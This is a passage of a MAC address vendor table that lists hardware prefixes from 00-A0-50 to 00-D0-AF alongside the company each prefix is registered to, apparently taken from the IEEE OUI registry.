00-A0-50    CYPRESS SEMICONDUCTOR
00-A0-51    ANGIA COMMUNICATIONS. INC.
00-A0-52    STANILITE ELECTRONICS PTY. LTD
00-A0-53    COMPACT DEVICES, INC.
00-A0-55    LINKTECH, INC.
00-A0-56    MICROPROSS
00-A0-57    ELSA AG
00-A0-58    GLORY, LTD.
00-A0-59    HAMILTON HALLMARK
00-A0-5A    KOFAX IMAGE PRODUCTS
00-A0-5B    MARQUIP, INC.
00-A0-5C    INVENTORY CONVERSION, INC./
00-A0-5D    CS COMPUTER SYSTEME GMBH
00-A0-5E    MYRIAD LOGIC INC.
00-A0-5F    BTG ENGINEERING BV
00-A0-60    ACER PERIPHERALS, INC.
00-A0-61    PURITAN BENNETT
00-A0-62    AES PRODATA
00-A0-63    JRL SYSTEMS, INC.
00-A0-64    KVB/ANALECT
00-A0-65    NEXLAND, INC.
00-A0-66    ISA CO., LTD.
00-A0-67    NETWORK SERVICES GROUP
00-A0-68    BHP LIMITED
00-A0-69    TRUETIME
00-A0-6A    VERILINK CORP.
00-A0-6B    DMS DORSCH MIKROSYSTEM GMBH
00-A0-6C    SHINDENGEN ELECTRIC MFG.
00-A0-6D    MANNESMANN TALLY CORPORATION
00-A0-6E    AUSTRON, INC.
00-A0-6F    THE APPCON GROUP, INC.
00-A0-70    COASTCOM
00-A0-71    VIDEO LOTTERY TECHNOLOGIES,INC
00-A0-72    OVATION SYSTEMS LTD.
00-A0-73    COM21, INC.
00-A0-74    PERCEPTION TECHNOLOGY
00-A0-75    MICRON TECHNOLOGY, INC.
00-A0-76    CARDWARE LAB, INC.
00-A0-77    FUJITSU NEXION, INC.
00-A0-78    CELLACCESS TECHNOLOGY, INC.
00-A0-79    ALPS ELECTRIC (USA), INC.
00-A0-7A    ADVANCED PERIPHERALS
00-A0-7B    DAWN COMPUTER INCORPORATION
00-A0-7C    TONYANG NYLON CO., LTD.
00-A0-7D    SEEQ TECHNOLOGY, INC.
00-A0-7E    AVID TECHNOLOGY, INC.
00-A0-7F    GSM-SYNTEL, LTD.
00-A0-80    ANTARES MICROSYSTEMS
00-A0-81    ALCATEL DATA NETWORKS
00-A0-82    NKT ELEKTRONIK A/S
00-A0-83    ASIMMPHONY TURKEY
00-A0-84    DATAPLEX PTY. LTD.
00-A0-86    AMBER WAVE SYSTEMS, INC.
00-A0-87    MITEL SEMICONDUCTOR, LTD.
00-A0-88    ESSENTIAL COMMUNICATIONS
00-A0-89    XPOINT TECHNOLOGIES, INC.
00-A0-8A    BROOKTROUT TECHNOLOGY, INC.
00-A0-8B    ASTON ELECTRONIC DESIGNS LTD.
00-A0-8C    MULTIMEDIA LANS, INC.
00-A0-8D    JACOMO CORPORATION
00-A0-8E    IPSILON NETWORKS, INC.
00-A0-8F    DESKNET SYSTEMS, INC.
00-A0-90    TIMESTEP CORPORATION
00-A0-91    APPLICOM INTERNATIONAL
00-A0-92    H. BOLLMANN MANUFACTURERS, LTD
00-A0-93    B/E AEROSPACE
00-A0-94    COMSAT CORPORATION
00-A0-95    ACACIA NETWORKS, INC.
00-A0-96    MITSUMI ELECTRIC CO., LTD.
00-A0-97    JC INFORMATION SYSTEMS
00-A0-98    NETWORK APPLIANCE CORP.
00-A0-99    K-NET LTD.
00-A0-9A    NIHON KOHDEN AMERICA
00-A0-9B    QPSX COMMUNICATIONS, LTD.
00-A0-9C    XYPLEX, INC.
00-A0-9D    JOHNATHON FREEMAN TECHNOLOGIES
00-A0-9E    ICTV
00-A0-9F    COMMVISION CORP.
00-A0-A0    COMPACT DATA, LTD.
00-A0-A1    EPIC DATA INC.
00-A0-A2    DIGICOM S.P.A.
00-A0-A3    RELIABLE POWER METERS
00-A0-A4    MICROS SYSTEMS, INC.
00-A0-A5    TEKNOR MICROSYSTEME, INC.
00-A0-A6    M.I. SYSTEMS, K.K.
00-A0-A7    VORAX CORPORATION
00-A0-A8    RENEX CORPORATION
00-A0-A9    GN NETTEST (CANADA) INC.
00-A0-AA    SPACELABS MEDICAL
00-A0-AB    NETCS INFORMATIONSTECHNIK GMBH
00-A0-AC    GILAT SATELLITE NETWORKS, LTD.
00-A0-AD    MARCONI SPA
00-A0-AE    NUCOM SYSTEMS, INC.
00-A0-AF    WMS INDUSTRIES
00-A0-B0    I-O DATA DEVICE, INC.
00-A0-B1    FIRST VIRTUAL CORPORATION
00-A0-B2    SHIMA SEIKI
00-A0-B3    ZYKRONIX
00-A0-B4    TEXAS MICROSYSTEMS, INC.
00-A0-B5    3H TECHNOLOGY
00-A0-B6    SANRITZ AUTOMATION CO., LTD.
00-A0-B7    CORDANT, INC.
00-A0-B8    SYMBIOS LOGIC INC.
00-A0-B9    EAGLE TECHNOLOGY, INC.
00-A0-BA    PATTON ELECTRONICS CO.
00-A0-BB    HILAN GMBH
00-A0-BC    VIASAT, INCORPORATED
00-A0-BD    I-TECH CORP.
00-A0-BE    INTEGRATED CIRCUIT SYSTEMS,INC
00-A0-BF    WIRELESS DATA GROUP MOTOROLA
00-A0-C0    DIGITAL LINK CORP.
00-A0-C1    ORTIVUS MEDICAL AB
00-A0-C2    R.A. SYSTEMS CO., LTD.
00-A0-C3    UNICOMPUTER GMBH
00-A0-C4    CRISTIE ELECTRONICS LTD.
00-A0-C5    ZYXEL COMMUNICATION
00-A0-C6    QUALCOMM INCORPORATED
00-A0-C7    TADIRAN TELECOMMUNICATIONS
00-A0-C8    ADTRAN INC.
00-A0-C9    INTEL CORPORATION - HF1-06
00-A0-CA    FUJITSU DENSO LTD.
00-A0-CB    ARK TELECOMMUNICATIONS, INC.
00-A0-CC    LITE-ON COMMUNICATIONS, INC.
00-A0-CD    DR. JOHANNES HEIDENHAIN GMBH
00-A0-CE    ASTROCOM CORPORATION
00-A0-CF    SOTAS, INC.
00-A0-D0    TEN X TECHNOLOGY, INC.
00-A0-D1    INVENTEC CORPORATION
00-A0-D2    ALLIED TELESIS INTERNATIONAL
00-A0-D3    INSTEM COMPUTER SYSTEMS, LTD.
00-A0-D4    RADIOLAN,  INC.
00-A0-D5    SIERRA WIRELESS INC.
00-A0-D6    SBE, INC.
00-A0-D7    KASTEN CHASE APPLIED RESEARCH
00-A0-D8    SPECTRA - TEK
00-A0-D9    CONVEX COMPUTER CORPORATION
00-A0-DA    INTEGRATED SYSTEMS
00-A0-DB    FISHER & PAYKEL PRODUCTION
00-A0-DC    O.N. ELECTRONIC CO., LTD.
00-A0-DD    AZONIX CORPORATION
00-A0-DE    YAMAHA CORPORATION
00-A0-DF    STS TECHNOLOGIES, INC.
00-A0-E0    TENNYSON TECHNOLOGIES PTY LTD
00-A0-E1    WESTPORT RESEARCH
00-A0-E2    KEISOKU GIKEN CORP.
00-A0-E3    XKL SYSTEMS CORP.
00-A0-E4    OPTIQUEST
00-A0-E5    NHC COMMUNICATIONS
00-A0-E6    DIALOGIC CORPORATION
00-A0-E7    CENTRAL DATA CORPORATION
00-A0-E8    REUTERS HOLDINGS PLC
00-A0-E9    ELECTRONIC RETAILING SYSTEMS
00-A0-EA    ETHERCOM CORP.
00-A0-EB    FASTCOMM COMMUNICATIONS CORP.
00-A0-EC    TRANSMITTON LTD.
00-A0-ED    PRI AUTOMATION
00-A0-EE    NASHOBA NETWORKS
00-A0-EF    LUCIDATA LTD.
00-A0-F0    TORONTO MICROELECTRONICS INC.
00-A0-F1    MTI
00-A0-F2    INFOTEK COMMUNICATIONS, INC.
00-A0-F3    STAUBLI
00-A0-F4    GE
00-A0-F5    RADGUARD LTD.
00-A0-F6    AUTOGAS SYSTEMS, INC.
00-A0-F7    V.I COMPUTER CORP.
00-A0-F8    SYMBOL TECHNOLOGIES, INC.
00-A0-F9    BINTEC COMMUNICATIONS GMBH
00-A0-FA    Marconi Communication GmbH
00-A0-FB    TORAY ENGINEERING CO., LTD.
00-A0-FC    IMAGE SCIENCES, INC.
00-A0-FD    SCITEX DIGITAL PRINTING, INC.
00-A0-FE    BOSTON TECHNOLOGY, INC.
00-A0-FF    TELLABS OPERATIONS, INC.
00-AA-00    INTEL CORPORATION
00-AA-01    INTEL CORPORATION
00-AA-02    INTEL CORPORATION
00-AA-3C    OLIVETTI TELECOM SPA (OLTECO)
00-B0-09    Grass Valley Group
00-B0-17    InfoGear Technology Corp.
00-B0-19    Casi-Rusco
00-B0-1C    Westport Technologies
00-B0-1E    Rantic Labs, Inc.
00-B0-2A    ORSYS GmbH
00-B0-2D    ViaGate Technologies, Inc.
00-B0-3B    HiQ Networks
00-B0-48    Marconi Communications Inc.
00-B0-4A    Cisco Systems, Inc.
00-B0-52    Intellon Corporation
00-B0-64    Cisco Systems, Inc.
00-B0-69    Honewell Oy
00-B0-6D    Jones Futurex Inc.
00-B0-80    Mannesmann Ipulsys B.V.
00-B0-86    LocSoft Limited
00-B0-8E    Cisco Systems, Inc.
00-B0-91    Transmeta Corp.
00-B0-94    Alaris, Inc.
00-B0-9A    Morrow Technologies Corp.
00-B0-9D    Point Grey Research Inc.
00-B0-AC    SIAE-Microelettronica S.p.A.
00-B0-AE    Symmetricom
00-B0-B3    Xstreamis PLC
00-B0-C2    Cisco Systems, Inc.
00-B0-C7    Tellabs Operations, Inc.
00-B0-D0    Dell Computer Corp.
00-B0-DB    Nextcell, Inc.
00-B0-DF    Reliable Data Technology, Inc.
00-B0-E7    British Federal Ltd.
00-B0-EC    EACEM
00-B0-EE    Ajile Systems, Inc.
00-B0-F0    CALY NETWORKS
00-B0-F5    NetWorth Technologies, Inc.
00-BB-01    OCTOTHORPE CORP.
00-BB-F0    UNGERMANN-BASS INC.
00-C0-00    LANOPTICS, LTD.
00-C0-01    DIATEK PATIENT MANAGMENT
00-C0-02    SERCOMM CORPORATION
00-C0-03    GLOBALNET COMMUNICATIONS
00-C0-04    JAPAN BUSINESS COMPUTER CO.LTD
00-C0-05    LIVINGSTON ENTERPRISES, INC.
00-C0-06    NIPPON AVIONICS CO., LTD.
00-C0-07    PINNACLE DATA SYSTEMS, INC.
00-C0-08    SECO SRL
00-C0-09    KT TECHNOLOGY (S) PTE LTD
00-C0-0A    MICRO CRAFT
00-C0-0B    NORCONTROL A.S.
00-C0-0C    RELIA TECHNOLGIES
00-C0-0D    ADVANCED LOGIC RESEARCH, INC.
00-C0-0E    PSITECH, INC.
00-C0-0F    QUANTUM SOFTWARE SYSTEMS LTD.
00-C0-10    HIRAKAWA HEWTECH CORP.
00-C0-11    INTERACTIVE COMPUTING DEVICES
00-C0-12    NETSPAN CORPORATION
00-C0-13    NETRIX
00-C0-14    TELEMATICS CALABASAS INT'L,INC
00-C0-15    NEW MEDIA CORPORATION
00-C0-16    ELECTRONIC THEATRE CONTROLS
00-C0-17    FORTE NETWORKS
00-C0-18    LANART CORPORATION
00-C0-19    LEAP TECHNOLOGY, INC.
00-C0-1A    COROMETRICS MEDICAL SYSTEMS
00-C0-1B    SOCKET COMMUNICATIONS, INC.
00-C0-1C    INTERLINK COMMUNICATIONS LTD.
00-C0-1D    GRAND JUNCTION NETWORKS, INC.
00-C0-1E    LA FRANCAISE DES JEUX
00-C0-1F    S.E.R.C.E.L.
00-C0-20    ARCO ELECTRONIC, CONTROL LTD.
00-C0-21    NETEXPRESS
00-C0-22    LASERMASTER TECHNOLOGIES, INC.
00-C0-23    TUTANKHAMON ELECTRONICS
00-C0-24    EDEN SISTEMAS DE COMPUTACAO SA
00-C0-25    DATAPRODUCTS CORPORATION
00-C0-26    LANS TECHNOLOGY CO., LTD.
00-C0-27    CIPHER SYSTEMS, INC.
00-C0-28    JASCO CORPORATION
00-C0-29    KABEL RHEYDT AG
00-C0-2A    OHKURA ELECTRIC CO., LTD.
00-C0-2B    GERLOFF GESELLSCHAFT FUR
00-C0-2C    CENTRUM COMMUNICATIONS, INC.
00-C0-2D    FUJI PHOTO FILM CO., LTD.
00-C0-2E    NETWIZ
00-C0-2F    OKUMA CORPORATION
00-C0-30    INTEGRATED ENGINEERING B. V.
00-C0-31    DESIGN RESEARCH SYSTEMS, INC.
00-C0-32    I-CUBED LIMITED
00-C0-33    TELEBIT COMMUNICATIONS APS
00-C0-34    TRANSACTION NETWORK
00-C0-35    QUINTAR COMPANY
00-C0-36    RAYTECH ELECTRONIC CORP.
00-C0-37    DYNATEM
00-C0-38    RASTER IMAGE PROCESSING SYSTEM
00-C0-39    TDK SEMICONDUCTOR CORPORATION
00-C0-3A    MEN-MIKRO ELEKTRONIK GMBH
00-C0-3B    MULTIACCESS COMPUTING CORP.
00-C0-3C    TOWER TECH S.R.L.
00-C0-3D    WIESEMANN & THEIS GMBH
00-C0-3E    FA. GEBR. HELLER GMBH
00-C0-3F    STORES AUTOMATED SYSTEMS, INC.
00-C0-40    ECCI
00-C0-41    DIGITAL TRANSMISSION SYSTEMS
00-C0-42    DATALUX CORP.
00-C0-43    STRATACOM
00-C0-44    EMCOM CORPORATION
00-C0-45    ISOLATION SYSTEMS, LTD.
00-C0-46    KEMITRON LTD.
00-C0-47    UNIMICRO SYSTEMS, INC.
00-C0-48    BAY TECHNICAL ASSOCIATES
00-C0-49    U.S. ROBOTICS, INC.
00-C0-4A    GROUP 2000 AG
00-C0-4B    CREATIVE MICROSYSTEMS
00-C0-4C    DEPARTMENT OF FOREIGN AFFAIRS
00-C0-4D    MITEC, INC.
00-C0-4E    COMTROL CORPORATION
00-C0-4F    DELL COMPUTER CORPORATION
00-C0-50    TOYO DENKI SEIZO K.K.
00-C0-51    ADVANCED INTEGRATION RESEARCH
00-C0-52    BURR-BROWN
00-C0-53    DAVOX CORPORATION
00-C0-54    NETWORK PERIPHERALS, LTD.
00-C0-55    MODULAR COMPUTING TECHNOLOGIES
00-C0-56    SOMELEC
00-C0-57    MYCO ELECTRONICS
00-C0-58    DATAEXPERT CORP.
00-C0-59    NIPPON DENSO CO., LTD.
00-C0-5A    SEMAPHORE COMMUNICATIONS CORP.
00-C0-5B    NETWORKS NORTHWEST, INC.
00-C0-5C    ELONEX PLC
00-C0-5D    L&N TECHNOLOGIES
00-C0-5E    VARI-LITE, INC.
00-C0-5F    FINE-PAL COMPANY LIMITED
00-C0-60    ID SCANDINAVIA AS
00-C0-61    SOLECTEK CORPORATION
00-C0-62    IMPULSE TECHNOLOGY
00-C0-63    MORNING STAR TECHNOLOGIES, INC
00-C0-64    GENERAL DATACOMM IND. INC.
00-C0-65    SCOPE COMMUNICATIONS, INC.
00-C0-66    DOCUPOINT, INC.
00-C0-67    UNITED BARCODE INDUSTRIES
00-C0-68    PHILIP DRAKE ELECTRONICS LTD.
00-C0-69    ADAPTIVE BROADBAND CORPORATION
00-C0-6A    ZAHNER-ELEKTRIK GMBH & CO. KG
00-C0-6B    OSI PLUS CORPORATION
00-C0-6C    SVEC COMPUTER CORP.
00-C0-6D    BOCA RESEARCH, INC.
00-C0-6E    HAFT TECHNOLOGY, INC.
00-C0-6F    KOMATSU LTD.
00-C0-70    SECTRA SECURE-TRANSMISSION AB
00-C0-71    AREANEX COMMUNICATIONS, INC.
00-C0-72    KNX LTD.
00-C0-73    XEDIA CORPORATION
00-C0-74    TOYODA AUTOMATIC LOOM
00-C0-75    XANTE CORPORATION
00-C0-76    I-DATA INTERNATIONAL A-S
00-C0-77    DAEWOO TELECOM LTD.
00-C0-78    COMPUTER SYSTEMS ENGINEERING
00-C0-79    FONSYS CO.,LTD.
00-C0-7A    PRIVA B.V.
00-C0-7B    ASCEND COMMUNICATIONS, INC.
00-C0-7C    HIGHTECH INFORMATION
00-C0-7D    RISC DEVELOPMENTS LTD.
00-C0-7E    KUBOTA CORPORATION ELECTRONIC
00-C0-7F    NUPON COMPUTING CORP.
00-C0-80    NETSTAR, INC.
00-C0-81    METRODATA LTD.
00-C0-82    MOORE PRODUCTS CO.
00-C0-83    TRACE MOUNTAIN PRODUCTS, INC.
00-C0-84    DATA LINK CORP. LTD.
00-C0-85    ELECTRONICS FOR IMAGING, INC.
00-C0-86    THE LYNK CORPORATION
00-C0-87    UUNET TECHNOLOGIES, INC.
00-C0-88    EKF ELEKTRONIK GMBH
00-C0-89    TELINDUS DISTRIBUTION
00-C0-8A    LAUTERBACH DATENTECHNIK GMBH
00-C0-8B    RISQ MODULAR SYSTEMS, INC.
00-C0-8C    PERFORMANCE TECHNOLOGIES, INC.
00-C0-8D    TRONIX PRODUCT DEVELOPMENT
00-C0-8E    NETWORK INFORMATION TECHNOLOGY
00-C0-8F    MATSUSHITA ELECTRIC WORKS, LTD
00-C0-90    PRAIM S.R.L.
00-C0-91    JABIL CIRCUIT, INC.
00-C0-92    MENNEN MEDICAL INC.
00-C0-93    ALTA RESEARCH CORP.
00-C0-94    VMX INC.
00-C0-95    ZNYX
00-C0-96    TAMURA CORPORATION
00-C0-97    ARCHIPEL SA
00-C0-98    CHUNTEX ELECTRONIC CO., LTD.
00-C0-99    YOSHIKI INDUSTRIAL CO.,LTD.
00-C0-9A    PHOTONICS CORPORATION
00-C0-9B    RELIANCE COMM/TEC, R-TEC
00-C0-9C    TOA ELECTRONIC LTD.
00-C0-9D    DISTRIBUTED SYSTEMS INT'L, INC
00-C0-9E    CACHE COMPUTERS, INC.
00-C0-9F    QUANTA COMPUTER, INC.
00-C0-A0    ADVANCE MICRO RESEARCH, INC.
00-C0-A1    TOKYO DENSHI SEKEI CO.
00-C0-A2    INTERMEDIUM A/S
00-C0-A3    DUAL ENTERPRISES CORPORATION
00-C0-A4    UNIGRAF OY
00-C0-A5    DICKENS DATA SYSTEMS
00-C0-A6    EXICOM AUSTRALIA PTY. LTD
00-C0-A7    SEEL LTD.
00-C0-A8    GVC CORPORATION
00-C0-A9    BARRON MCCANN LTD.
00-C0-AA    SILICON VALLEY COMPUTER
00-C0-AB    Telco Systems, Inc.
00-C0-AC    GAMBIT COMPUTER COMMUNICATIONS
00-C0-AD    MARBEN COMMUNICATION SYSTEMS
00-C0-AE    TOWERCOM CO. INC. DBA PC HOUSE
00-C0-AF    TEKLOGIX INC.
00-C0-B0    GCC TECHNOLOGIES,INC.
00-C0-B1    GENIUS NET CO.
00-C0-B2    NORAND CORPORATION
00-C0-B3    COMSTAT DATACOMM CORPORATION
00-C0-B4    MYSON TECHNOLOGY, INC.
00-C0-B5    CORPORATE NETWORK SYSTEMS,INC.
00-C0-B6    MERIDIAN DATA, INC.
00-C0-B7    AMERICAN POWER CONVERSION CORP
00-C0-B8    FRASER'S HILL LTD.
00-C0-B9    FUNK SOFTWARE, INC.
00-C0-BA    NETVANTAGE
00-C0-BB    FORVAL CREATIVE, INC.
00-C0-BC    TELECOM AUSTRALIA/CSSC
00-C0-BD    INEX TECHNOLOGIES, INC.
00-C0-BE    ALCATEL - SEL
00-C0-BF    TECHNOLOGY CONCEPTS, LTD.
00-C0-C0    SHORE MICROSYSTEMS, INC.
00-C0-C1    QUAD/GRAPHICS, INC.
00-C0-C2    INFINITE NETWORKS LTD.
00-C0-C3    ACUSON COMPUTED SONOGRAPHY
00-C0-C4    COMPUTER OPERATIONAL
00-C0-C5    SID INFORMATICA
00-C0-C6    PERSONAL MEDIA CORP.
00-C0-C7    SPARKTRUM MICROSYSTEMS, INC.
00-C0-C8    MICRO BYTE PTY. LTD.
00-C0-C9    ELSAG BAILEY PROCESS
00-C0-CA    ALFA, INC.
00-C0-CB    CONTROL TECHNOLOGY CORPORATION
00-C0-CC    TELESCIENCES CO SYSTEMS, INC.
00-C0-CD    COMELTA, S.A.
00-C0-CE    CEI SYSTEMS & ENGINEERING PTE
00-C0-CF    IMATRAN VOIMA OY
00-C0-D0    RATOC SYSTEM INC.
00-C0-D1    COMTREE TECHNOLOGY CORPORATION
00-C0-D2    SYNTELLECT, INC.
00-C0-D3    OLYMPUS IMAGE SYSTEMS, INC.
00-C0-D4    AXON NETWORKS, INC.
00-C0-D5    QUANCOM ELECTRONIC GMBH
00-C0-D6    J1 SYSTEMS, INC.
00-C0-D7    TAIWAN TRADING CENTER DBA
00-C0-D8    UNIVERSAL DATA SYSTEMS
00-C0-D9    QUINTE NETWORK CONFIDENTIALITY
00-C0-DA    NICE SYSTEMS LTD.
00-C0-DB    IPC CORPORATION (PTE) LTD.
00-C0-DC    EOS TECHNOLOGIES, INC.
00-C0-DD    ANCOR COMMUNICATIONS
00-C0-DE    ZCOMM, INC.
00-C0-DF    KYE SYSTEMS CORP.
00-C0-E0    DSC COMMUNICATION CORP.
00-C0-E1    SONIC SOLUTIONS
00-C0-E2    CALCOMP, INC.
00-C0-E3    OSITECH COMMUNICATIONS, INC.
00-C0-E4    SIEMENS BUILDING
00-C0-E5    GESPAC, S.A.
00-C0-E6    TXPORT
00-C0-E7    FIBERDATA AB
00-C0-E8    PLEXCOM, INC.
00-C0-E9    OAK SOLUTIONS, LTD.
00-C0-EA    ARRAY TECHNOLOGY LTD.
00-C0-EB    SEH COMPUTERTECHNIK GMBH
00-C0-EC    DAUPHIN TECHNOLOGY
00-C0-ED    US ARMY ELECTRONIC
00-C0-EE    KYOCERA CORPORATION
00-C0-EF    ABIT CORPORATION
00-C0-F0    KINGSTON TECHNOLOGY CORP.
00-C0-F1    SHINKO ELECTRIC CO., LTD.
00-C0-F2    TRANSITION NETWORKS
00-C0-F3    NETWORK COMMUNICATIONS CORP.
00-C0-F4    INTERLINK SYSTEM CO., LTD.
00-C0-F5    METACOMP, INC.
00-C0-F6    CELAN TECHNOLOGY INC.
00-C0-F7    ENGAGE COMMUNICATION, INC.
00-C0-F8    ABOUT COMPUTING INC.
00-C0-F9    HARRIS AND JEFFRIES, INC.
00-C0-FA    CANARY COMMUNICATIONS, INC.
00-C0-FB    ADVANCED TECHNOLOGY LABS
00-C0-FC    ELASTIC REALITY, INC.
00-C0-FD    PROSUM
00-C0-FE    APTEC COMPUTER SYSTEMS, INC.
00-C0-FF    DOT HILL SYSTEMS CORPORATION
00-CF-1C    COMMUNICATION MACHINERY CORP.
00-D0-00    FERRAN SCIENTIFIC, INC.
00-D0-01    VST TECHNOLOGIES, INC.
00-D0-02    DITECH CORPORATION
00-D0-03    COMDA ENTERPRISES CORP.
00-D0-04    PENTACOM LTD.
00-D0-05    ZHS ZEITMANAGEMENTSYSTEME
00-D0-06    CISCO SYSTEMS, INC.
00-D0-07    MIC ASSOCIATES, INC.
00-D0-08    MACTELL CORPORATION
00-D0-09    HSING TECH. ENTERPRISE CO. LTD
00-D0-0A    LANACCESS TELECOM S.A.
00-D0-0B    RHK TECHNOLOGY, INC.
00-D0-0C    SNIJDER MICRO SYSTEMS
00-D0-0D    MICROMERITICS INSTRUMENT
00-D0-0E    PLURIS, INC.
00-D0-0F    SPEECH DESIGN GMBH
00-D0-10    CONVERGENT NETWORKS, INC.
00-D0-11    PRISM VIDEO, INC.
00-D0-12    GATEWORKS CORP.
00-D0-13    PRIMEX AEROSPACE COMPANY
00-D0-14    ROOT, INC.
00-D0-15    UNIVEX MICROTECHNOLOGY CORP.
00-D0-16    SCM MICROSYSTEMS, INC.
00-D0-17    SYNTECH INFORMATION CO., LTD.
00-D0-18    QWES. COM, INC.
00-D0-19    DAINIPPON SCREEN CORPORATE
00-D0-1A    URMET SUD S.P.A.
00-D0-1B    MIMAKI ENGINEERING CO., LTD.
00-D0-1C    SBS TECHNOLOGIES,
00-D0-1D    FURUNO ELECTRIC CO., LTD.
00-D0-1E    PINGTEL CORP.
00-D0-1F    CTAM PTY. LTD.
00-D0-20    AIM SYSTEM, INC.
00-D0-21    REGENT ELECTRONICS CORP.
00-D0-22    INCREDIBLE TECHNOLOGIES, INC.
00-D0-23    INFORTREND TECHNOLOGY, INC.
00-D0-24    Cognex Corporation
00-D0-25    XROSSTECH, INC.
00-D0-26    HIRSCHMANN AUSTRIA GMBH
00-D0-27    APPLIED AUTOMATION, INC.
00-D0-28    OMNEON VIDEO NETWORKS
00-D0-29    WAKEFERN FOOD CORPORATION
00-D0-2A    FLEXION SYSTEMS
00-D0-2B    JETCELL, INC.
00-D0-2C    CAMPBELL SCIENTIFIC, INC.
00-D0-2D    ADEMCO
00-D0-2E    COMMUNICATION AUTOMATION CORP.
00-D0-2F    VLSI TECHNOLOGY INC.
00-D0-30    SAFETRAN SYSTEMS CORP.
00-D0-31    INDUSTRIAL LOGIC CORPORATION
00-D0-32    YANO ELECTRIC CO., LTD.
00-D0-33    DALIAN DAXIAN NETWORK
00-D0-34    ORMEC SYSTEMS CORP.
00-D0-35    BEHAVIOR TECH. COMPUTER CORP.
00-D0-36    TECHNOLOGY ATLANTA CORP.
00-D0-37    PHILIPS-DVS-LO BDR
00-D0-38    FIVEMERE, LTD.
00-D0-39    UTILICOM, INC.
00-D0-3A    ZONEWORX, INC.
00-D0-3B    VISION PRODUCTS PTY. LTD.
00-D0-3C    POWER MICRO RESEARCH
00-D0-3E    ROCKETCHIPS, INC.
00-D0-3F    AMERICAN COMMUNICATION
00-D0-40    SYSMATE CO., LTD.
00-D0-41    AMIGO TECHNOLOGY CO., LTD.
00-D0-42    MAHLO GMBH & CO. UG
00-D0-43    ZONAL RETAIL DATA SYSTEMS
00-D0-44    ALIDIAN NETWORKS, INC.
00-D0-45    KVASER AB
00-D0-46    DOLBY LABORATORIES, INC.
00-D0-47    XN TECHNOLOGIES
00-D0-48    ECTON, INC.
00-D0-49    IMPRESSTEK CO., LTD.
00-D0-4A    PRESENCE TECHNOLOGY GMBH
00-D0-4B    LA CIE GROUP S.A.
00-D0-4C    EUROTEL TELECOM LTD.
00-D0-4D    DIV OF RESEARCH & STATISTICS
00-D0-4E    LOGIBAG
00-D0-4F    BITRONICS, INC.
00-D0-50    ISKRATEL
00-D0-51    O2 MICRO, INC.
00-D0-52    ASCEND COMMUNICATIONS, INC.
00-D0-53    CONNECTED SYSTEMS
00-D0-54    SAS INSTITUTE INC.
00-D0-55    KATHREIN-WERKE KG
00-D0-56    SOMAT CORPORATION
00-D0-57    ULTRAK, INC.
00-D0-58    CISCO SYSTEMS, INC.
00-D0-59    AMBIT MICROSYSTEMS CORP.
00-D0-5A    SYMBIONICS, LTD.
00-D0-5B    ACROLOOP MOTION CONTROL
00-D0-5C    TECHNOTREND SYSTEMTECHNIK GMBH
00-D0-5D    INTELLIWORXX, INC.
00-D0-5E    STRATABEAM TECHNOLOGY, INC.
00-D0-5F    VALCOM, INC.
00-D0-60    PANASONIC EUROPEAN
00-D0-61    TREMON ENTERPRISES CO., LTD.
00-D0-62    DIGIGRAM
00-D0-63    CISCO SYSTEMS, INC.
00-D0-64    MULTITEL
00-D0-65    TOKO ELECTRIC
00-D0-66    WINTRISS ENGINEERING CORP.
00-D0-67    CAMPIO COMMUNICATIONS
00-D0-68    IWILL CORPORATION
00-D0-69    TECHNOLOGIC SYSTEMS
00-D0-6A    LINKUP SYSTEMS CORPORATION
00-D0-6B    SR TELECOM INC.
00-D0-6C    SHAREWAVE, INC.
00-D0-6D    ACRISON, INC.
00-D0-6E    TRENDVIEW RECORDERS LTD.
00-D0-6F    KMC CONTROLS
00-D0-70    LONG WELL ELECTRONICS CORP.
00-D0-71    ECHELON CORP.
00-D0-72    BROADLOGIC
00-D0-73    ACN ADVANCED COMMUNICATIONS
00-D0-74    TAQUA SYSTEMS, INC.
00-D0-75    ALARIS MEDICAL SYSTEMS, INC.
00-D0-76    MERRILL LYNCH & CO., INC.
00-D0-77    LUCENT TECHNOLOGIES
00-D0-78    ELTEX OF SWEDEN AB
00-D0-79    CISCO SYSTEMS, INC.
00-D0-7A    AMAQUEST COMPUTER CORP.
00-D0-7B    COMCAM INTERNATIONAL LTD.
00-D0-7C    KOYO ELECTRONICS INC. CO.,LTD.
00-D0-7D    COSINE COMMUNICATIONS
00-D0-7E    KEYCORP LTD.
00-D0-7F    STRATEGY & TECHNOLOGY, LIMITED
00-D0-80    EXABYTE CORPORATION
00-D0-81    REAL TIME DEVICES USA, INC.
00-D0-82    IOWAVE INC.
00-D0-83    INVERTEX, INC.
00-D0-84    NEXCOMM SYSTEMS, INC.
00-D0-85    OTIS ELEVATOR COMPANY
00-D0-86    FOVEON, INC.
00-D0-87    MICROFIRST INC.
00-D0-88    MAINSAIL NETWORKS, INC.
00-D0-89    DYNACOLOR, INC.
00-D0-8A    PHOTRON USA
00-D0-8B    STORAGE AREA NETWORKS, LTD.
00-D0-8C    GENOA TECHNOLOGY, INC.
00-D0-8D    PHOENIX GROUP, INC.
00-D0-8E    NVISION INC.
00-D0-8F    ARDENT TECHNOLOGIES, INC.
00-D0-90    CISCO SYSTEMS, INC.
00-D0-91    SMARTSAN SYSTEMS, INC.
00-D0-92    GLENAYRE WESTERN MULTIPLEX
00-D0-93    TQ - COMPONENTS GMBH
00-D0-94    TIMELINE VISTA, INC.
00-D0-95    XYLAN CORPORATION
00-D0-96    3COM EUROPE LTD.
00-D0-97    CISCO SYSTEMS, INC.
00-D0-98    IPS AUTOMATION
00-D0-99    ELCARD OY
00-D0-9A    FILANET CORPORATION
00-D0-9B    SPECTEL LTD.
00-D0-9C    KAPADIA COMMUNICATIONS
00-D0-9D    VERIS INDUSTRIES
00-D0-9E    2WIRE, INC.
00-D0-9F    NOVTEK TEST SYSTEMS
00-D0-A0    MIPS DENMARK
00-D0-A1    OSKAR VIERLING GMBH + CO. KG
00-D0-A2    INTEGRATED DEVICE
00-D0-A3    VOCAL DATA, INC.
00-D0-A4    ALANTRO COMMUNICATIONS
00-D0-A5    AMERICAN ARIUM
00-D0-A6    LANBIRD TECHNOLOGY CO., LTD.
00-D0-A7    TOKYO SOKKI KENKYUJO CO., LTD.
00-D0-A8    NETWORK ENGINES, INC.
00-D0-A9    SHINANO KENSHI CO., LTD.
00-D0-AA    CHASE COMMUNICATIONS
00-D0-AB    DELTAKABEL TELECOM CV
00-D0-AC    GRAYSON WIRELESS
00-D0-AD    TL INDUSTRIES
00-D0-AE    ORESIS COMMUNICATIONS, INC.
00-D0-AF    CUTLER-HAMMER, INC.
